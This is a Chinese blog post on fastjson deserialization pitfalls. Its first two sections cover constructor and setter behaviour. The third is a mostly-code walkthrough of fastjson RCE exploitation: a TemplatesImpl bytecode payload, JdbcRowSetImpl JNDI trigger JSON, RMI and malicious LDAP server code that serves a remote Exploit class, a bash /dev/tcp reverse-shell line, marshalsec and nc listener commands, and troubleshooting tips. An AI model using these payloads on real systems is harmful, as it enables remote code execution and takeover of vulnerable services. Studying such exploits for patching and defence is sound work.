zoukankan      html  css  js  c++  java
  • fastjson反序列化踩坑记录

    适用版本:
    fastjson:1.2.71
    fastjson:1.1.72.android

     

    一、JavaBeanInfo build 5XX行:"default constructor not found. " + clazz
    fastjson反序列化过程参考:https://www.cnblogs.com/Raiden-xin/p/12681577.html

    发现于安卓环境,出于保证对象初始化时某属性必须赋值的目的,只提供了有参构造函数;非android运行环境测试正常。
    fastjson通用版本的有参构造函数反序列化依赖于ASMUtils获取构造函数传入的形参名称、进而去json串中查找对应名称的字段来赋值;由于java和android虚拟机不同,生成的字节码格式有差异,ASMUtils.lookupParameterNames判断了是否为安卓环境(虚拟机名称),若是直接返回空数组,导致有参构造函数不可用。
    fastjson安卓版本必须要求默认构造函数+setter方法反序列化。

    注:

    1、构造函数是否为public并不影响,调用时会setAccessible。

    2、通过有参构造函数反序列化对象时,属性的赋值通过Field完成,与getter/setter方法是否存在无关。

    启示:遵循JavaBean规范,提供默认公用无参构造函数,bean和模型分离。

     

    二、没有setter方法则属性值为null:高版本未设置setter方法会找不到FieldDeserializer

    JavaBeanInfo build 515行 会先查找setter方法、根据属性名称反射拿到Field,在620行new出FieldInfo、加入fieldList。
    720行收集getter方法,判断是否是集合或者map,不会建立FieldInfo对象。

    JavaBeanInfo的FieldInfo[]在没有JsonField注解时基本只由setter方法决定,
    FieldDeserializer基于JavaBeanInfo建立,
    JavaBeanDeserializer:高版本默认构造器生成对象后不走FieldInfo,即不会通过Field、而是通过FieldDeserializer-DefaultFieldDeserializer的setter Method进行属性赋值

    启示:遵循JavaBean规范,提供声明属性的公用setter、getter方法,bean和模型分离。

     

    三、fastjson<1.2.70反序列化RCE安全漏洞
    背景随便查一下,一大片一大片满是的。。
    反序列化黑名单位置:com.alibaba.fastjson.parser.ParserConfig.denyList(值由原来的全路径改为hash值)
    <1.2.70版本的利用方式尚未公布,公众号上已有人提供了思路。以下只大致记录下自己验证过的漏洞利用过程,分别测试了运行计算器和反弹shell:

    【初版 现被黑名单封堵】

    Exploit:
    ParserConfig config = ParserConfig.global;
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    String evilClassPath="D:\workspace\...\poc.class";


    String evilCode = readClass(evilClassPath);
    final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String text1 = "{"@type":"" + NASTY_CLASS +"","_bytecodes":[""+evilCode+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }," +
    ""_name":"a","_version":"1.0","allowedProtocols":"all"} ";

    Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

     

    import java.io.IOException;

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    public class poc extends AbstractTranslet {

    public poc() throws IOException {
    Runtime.getRuntime().exec("calc.exe");
    namesArray=new String[0];
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    }

    【<=1.2.47版本漏洞 构造反序列化对象缓存绕过黑名单验证+JNDI注入】

    环境条件:
    jmi:需要jdk8 121以下(一说113)
    ldap:需要jdk8 182以下(一说191)


    #rmi

    #创建服务器
    Registry registry = LocateRegistry.createRegistry(1099);
    System.setProperty("java.rmi.server.hostname","192.168.10.109");
    String remote_class_server = "http://192.168.10.109/";
    Reference reference = new Reference("Exploit", "xxx.Exploit", remote_class_server);
    //reference的factory class参数指向了一个外部Web服务的地址
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    registry.bind("poc", referenceWrapper);

    #rmi触发接口入参

    { "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.10.109/poc", "autoCommit":true } }


    #ldap

    #Exploit中反弹shell语句
    bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1

    #创建服务器

    新建一个testfastjson工程,引入依赖

     

    <dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
    </dependency>

     

    LdapServer:

     

    package testfastjson;

    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;

    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;

    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;

    public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {
    int port = xxxx;

    try {
    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
    config.setListenerConfigs(new InMemoryListenerConfig("listen", 
    InetAddress.getByName("0.0.0.0"),
    port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
    (SSLSocketFactory) SSLSocketFactory.getDefault()));

    config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
    InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    System.out.println("Listening on 0.0.0.0:" + port);
    ds.startListening();

    } catch (Exception e) {
    e.printStackTrace();
    }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

    private URL codebase;

    /**
    *
    */
    public OperationInterceptor(URL cb) {
    this.codebase = cb;
    }

    /**
    * {@inheritDoc}
    *
    * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
    */
    @Override
    public void processSearchResult(InMemoryInterceptedSearchResult result) {
    String base = result.getRequest().getBaseDN();
    Entry e = new Entry(base);
    try {
    sendResult(result, base, e);
    } catch (Exception e1) {
    e1.printStackTrace();
    }

    }

    protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
    throws LDAPException, MalformedURLException {
    URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
    System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
    e.addAttribute("javaClassName", "Exploit");
    String cbstring = this.codebase.toString();
    int refPos = cbstring.indexOf('#');
    if (refPos > 0) {
    cbstring = cbstring.substring(0, refPos);
    }
    e.addAttribute("javaCodeBase", cbstring + "/");
    e.addAttribute("objectClass", "javaNamingReference");
    e.addAttribute("javaFactory", "Exploit");
    result.sendSearchEntry(e);
    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }

    }
    }


    #ldap触发接口入参

    { "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.10.109:xxxx/Exploit", "autoCommit":true } }


    攻击方部署

    (1)搭建ldap服务器
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.10.109#Exploit 1389

    java -cp testfastjson-0.0.1-SNAPSHOT-all.jar testfastjson.LdapServer http://192.168.10.109#Exploit

    注:marshalsec是一个专门复现、验证漏洞集合的工具,但我在测试中并未成功,只好参考marshalsec的源码搭建了简易的ldap服务器

    (2)web服务支持文件下载

    提供Exploit下载url

    (3)攻击机等待反弹shell
    nc -lvvp xxxx

    原理是远程通过url加载工厂类,运行其中构造函数/重写的方法。

    坑点记录:
    1、最关键的是javaCodeBase,后加/
    2、Exploit如果有包结构,一定要放到jar里边,相应的在javaCodeBase后边添加jar路径,否则报java.lang.NoClassDefFoundError(wrong name:xxx)
    3、注意JDK版本,高版本中com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

    延伸:
    【关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记:直接返回从javaSerializedData属性中获取的属性值】
    https://www.cnblogs.com/tr1ple/p/12335098.html

    【如何绕过高版本JDK的限制进行JNDI注入:利用本地Class作为Reference Factory】
    https://www.freebuf.com/column/207439.html

  • 相关阅读:
    python的性能了解
    工作记录01/17/11
    继承或者重写django的user model?
    dunder=double underscore
    ipython应该是个好的命令行式的python ide,不过现在没时间折腾。
    django的settings如何在不同环境下进行切换
    pythonic实践
    关于递归函数的简单认识
    数据结构(C语言版)链表相关操作算法的代码实现
    数据结构(C语言版)顺序栈相关算法的代码实现
  • 原文地址:https://www.cnblogs.com/feixuefubing/p/13229764.html
Copyright © 2011-2022 走看看